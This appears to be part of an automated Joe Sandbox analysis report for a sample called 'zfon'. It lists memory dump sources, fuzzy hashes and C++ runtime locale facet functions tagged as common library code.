Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID:
API String ID: 3863519203-0
Opcode ID: 30a8f2f125bc470f5f47f8832dfa98d673ff8fbdfdee2d9a51f356af74556641
Instruction ID: 5b1e10c39d5979367b62174d1307256390d76a968e5ec2f549239d4b0f78f9e8
Opcode Fuzzy Hash: 30a8f2f125bc470f5f47f8832dfa98d673ff8fbdfdee2d9a51f356af74556641
Instruction Fuzzy Hash: F8413472A08B8599FB01CFA8D8603AC77A0BB49B88F688135DB4D57799DF7CA445C350

Function 00007FF8B90FDA44 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FDB0D
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FDB25
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FDB60
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FDB71

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: d5d33d89c34cbe04dcd739ab9c1e0f669668da78f4d51707938014589a4dc942
Instruction ID: f780f7690222bf5b7413616efee1e38eaf8a88afafa5fd179cabd7b26468f229
Opcode Fuzzy Hash: d5d33d89c34cbe04dcd739ab9c1e0f669668da78f4d51707938014589a4dc942
Instruction Fuzzy Hash: 42314C22A0CAC2C1EE11DF2DE4402BA6765EB84BE0F580632DB6D077E5EF2CE546D710

Function 00007FF8B9110250 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B9110319
std::_Facet_Register.LIBCPMT ref: 00007FF8B9110331
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B911036C
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B911037D

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: aee45d2215da4ce7b0f3772c3ce5b61431520466d490ceabc17ed64f9b1dc149
Instruction ID: c249167a20c75ba30cf541a3469a714f3385d445755fbc12d231703b84a23fa5
Opcode Fuzzy Hash: aee45d2215da4ce7b0f3772c3ce5b61431520466d490ceabc17ed64f9b1dc149
Instruction Fuzzy Hash: 98319F22E0CA9696EB10DF2DE4410BA6765FB84BE0F580231DB5D07BE5EF3CE542A700

Function 00007FF8B90F9A78 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

codecvt.LIBCPMT ref: 00007FF8B90F9B41
std::_Facet_Register.LIBCPMT ref: 00007FF8B90F9B59
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90F9B94
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90F9BA5

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localescodecvtstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3627902316-0
Opcode ID: 9b1c32e4d03cbda99e153f31f72f21e24241e85f2033266064f8f55f5d5db2b3
Instruction ID: 8543544ffbe8df2926b9cf13b924b862047819e3247076de7f87865d887ecc55
Opcode Fuzzy Hash: 9b1c32e4d03cbda99e153f31f72f21e24241e85f2033266064f8f55f5d5db2b3
Instruction Fuzzy Hash: D6314C62A0CA82D1EF119F1DE9501B977A1EB84BE0F584232DB6D077E6EE2CE5469700

Function 00007FF8B90FCAA0 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FCB69
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FCB81
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FCBBC
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FCBCD

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: f3470c7af5e1219ea517dc311023a40c6ff5171f338326e24b56031dd2e8a965
Instruction ID: e6b17e840f27d599b693d4beb32cbb98b4c487fb67e6ca3ac4eedc76d39374aa
Opcode Fuzzy Hash: f3470c7af5e1219ea517dc311023a40c6ff5171f338326e24b56031dd2e8a965
Instruction Fuzzy Hash: 3D319C66A0CA96C1EE109F2DE4411BA6761FB84BE0F184632DB6E077E9DF3CE5439700

Function 00007FF8B90FB2C8 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

ctype.LIBCPMT ref: 00007FF8B90FB391
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FB3A9
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FB3E4
_CxxThrowException.VCRUNTIME140(?,?,?,?,?,?,?,00007FF8B90FBA5E), ref: 00007FF8B90FB3F5

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesctypestd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 2716750221-0
Opcode ID: 8a0be3e0796e4bd00e343c49d07b79d543f220f19bcd707963a39a8b0941f0ab
Instruction ID: 5ede2a8ae56eeece70392695532ee88479cbbb33998063c15ce8ede886f38c4c
Opcode Fuzzy Hash: 8a0be3e0796e4bd00e343c49d07b79d543f220f19bcd707963a39a8b0941f0ab
Instruction Fuzzy Hash: 0D316D62A4CAC2C1EF109F2DE4411B96765EB94BE0F584232EB6D077E5DE3CE546AB00

Function 00007FF8B911011C Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B91101E5
std::_Facet_Register.LIBCPMT ref: 00007FF8B91101FD
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B9110238
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B9110249

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: d72c8285eb6784160f7c4d4e6db8a24b104de1abd3a77db1aa6ba5dcb5cfb000
Instruction ID: ab43bf14cef86414b7a013fd6acb7c0455aca74f9f81b0586b130b3edd18a6a1
Opcode Fuzzy Hash: d72c8285eb6784160f7c4d4e6db8a24b104de1abd3a77db1aa6ba5dcb5cfb000
Instruction Fuzzy Hash: 3D31C421E0CBC691EB149F1DE4410BA6764EB85BE0F584632DB5E077E5EE3CE486A300

Function 00007FF8B90FD910 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

messages.LIBCPMT ref: 00007FF8B90FD9D9
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD9F1
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FDA2C
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FDA3D

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmessagesstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 1958836-0
Opcode ID: b1a0f79d3326f903962460f08adc2b2298a43f582fbf5ad1d06f8bf332c444d0
Instruction ID: 238599c8892aee91464b0f8efcc539017a24974b6770d8f4aaa18676552bbc98
Opcode Fuzzy Hash: b1a0f79d3326f903962460f08adc2b2298a43f582fbf5ad1d06f8bf332c444d0
Instruction Fuzzy Hash: 9A313B62A0CAC2C1EF109F5DE8401B967A5EB94BE4F580632DB6E07BE5DF3CE5469700

Function 00007FF8B90FB194 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

codecvt.LIBCPMT ref: 00007FF8B90FB25D
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FB275
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FB2B0
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FB2C1

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localescodecvtstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3627902316-0
Opcode ID: 145bbbc3bc158e60b2dcae730ae36a5f341c077dba051ea11f4e148b8dfc7de4
Instruction ID: 0ca20e74410bc43e4aa6b9289afa99b6156920be8ac701f32970521771245d75
Opcode Fuzzy Hash: 145bbbc3bc158e60b2dcae730ae36a5f341c077dba051ea11f4e148b8dfc7de4
Instruction Fuzzy Hash: C5315C22A0CA82D1EF519F2DE8401B967A0FB94BE0F584231DB5D477E5DE3CE5469B00

Function 00007FF8B90FD1D8 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

moneypunct.LIBCPMT ref: 00007FF8B90FD2A1
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD2B9
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FD2F4
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FD305

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmoneypunctstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3095117837-0
Opcode ID: 38913df2d96a4eec83f92b864a390790dea28e991f3c948397feb914cf3f0946
Instruction ID: 5a4038adf7eef1e752b4206d02cf0d0ab9eda7cfe5dd6e9d550045ea5153ee90
Opcode Fuzzy Hash: 38913df2d96a4eec83f92b864a390790dea28e991f3c948397feb914cf3f0946
Instruction Fuzzy Hash: 4B31AB22A0CAC6D1EE509F5DE4402B967A1FB94BE0F180232DB5E077E9EF3CE5029740

Function 00007FF8B90FD440 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

moneypunct.LIBCPMT ref: 00007FF8B90FD509
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD521
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FD55C
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FD56D

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmoneypunctstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3095117837-0
Opcode ID: 4ac604afad432e19ffdebc53a4f7af755cceacbe3725a61eabefcaaf70d51ce8
Instruction ID: 869f7a923b645a4779338bdae7fd8d1e281f0b072e2a03c4db1262f80f581c30
Opcode Fuzzy Hash: 4ac604afad432e19ffdebc53a4f7af755cceacbe3725a61eabefcaaf70d51ce8
Instruction Fuzzy Hash: 96315962A08AC2C2EE119F1DE4401B967A1FB84BE4F580632DB5E476E9DF2CF5479700

Function 00007FF8B90FDCAC Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

numpunct.LIBCPMT ref: 00007FF8B90FDD75
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FDD8D
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FDDC8
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FDDD9

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesnumpunctstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 448217422-0
Opcode ID: c696fc2c3a6b5382072ca97f56a1b127eb086680fd410d12b52d6abaed43ced8
Instruction ID: 206eded28e15559c3b7c88207e8ad84ba2b88687863e8c87f2078468415394ef
Opcode Fuzzy Hash: c696fc2c3a6b5382072ca97f56a1b127eb086680fd410d12b52d6abaed43ced8
Instruction Fuzzy Hash: CF314962A08AC2D1EE109F2DE4502B96760FB94BE0F584632EB5E07BE5DF3CE5469710

Function 00007FF8B91104B8 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

moneypunct.LIBCPMT ref: 00007FF8B9110581
std::_Facet_Register.LIBCPMT ref: 00007FF8B9110599
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B91105D4
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B91105E5

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmoneypunctstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3095117837-0
Opcode ID: ce70adfcc3457c4c5b5756c4f99c44a9a6aa3f404df6a0a8152ffd43bb752157
Instruction ID: 4934c4776da68fecdd0b341767d94744364676dbd891cb2330aa892657a225f3
Opcode Fuzzy Hash: ce70adfcc3457c4c5b5756c4f99c44a9a6aa3f404df6a0a8152ffd43bb752157
Instruction Fuzzy Hash: FD318F62E0CB92A1EA50DF1DE4410BA6765EB85BE0F580632EB5D077E5EF3CE446E700

Function 00007FF8B90FD30C Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

moneypunct.LIBCPMT ref: 00007FF8B90FD3D5
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FD3ED
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FD428
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FD439

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionFacet_RegisterThrow_lock_localesmoneypunctstd::_std::bad_alloc::bad_alloc
String ID:
API String ID: 3095117837-0
Opcode ID: 4a1d74a696e101f9418e4c1aea131a48374db2b4b2725ffa4bef69a5475c1a62
Instruction ID: 874f82d83c2f4e0b4ec4cfc5a4b1bc0719742ccc489a1528d28cea188dad5860
Opcode Fuzzy Hash: 4a1d74a696e101f9418e4c1aea131a48374db2b4b2725ffa4bef69a5475c1a62
Instruction Fuzzy Hash: 61314E62A0CAC2C2EF119F2DE4501B96761EB84BE0F580632EB5E477E5DF2CE547A710

Function 00007FF8B90FDB78 Relevance: 6.1, APIs: 4, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF8B9115920: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B911592F

numpunct.LIBCPMT ref: 00007FF8B90FDC41
std::_Facet_Register.LIBCPMT ref: 00007FF8B90FDC59
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF8B90FDC94
_CxxThrowException.VCRUNTIME140 ref: 00007FF8B90FDCA5

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

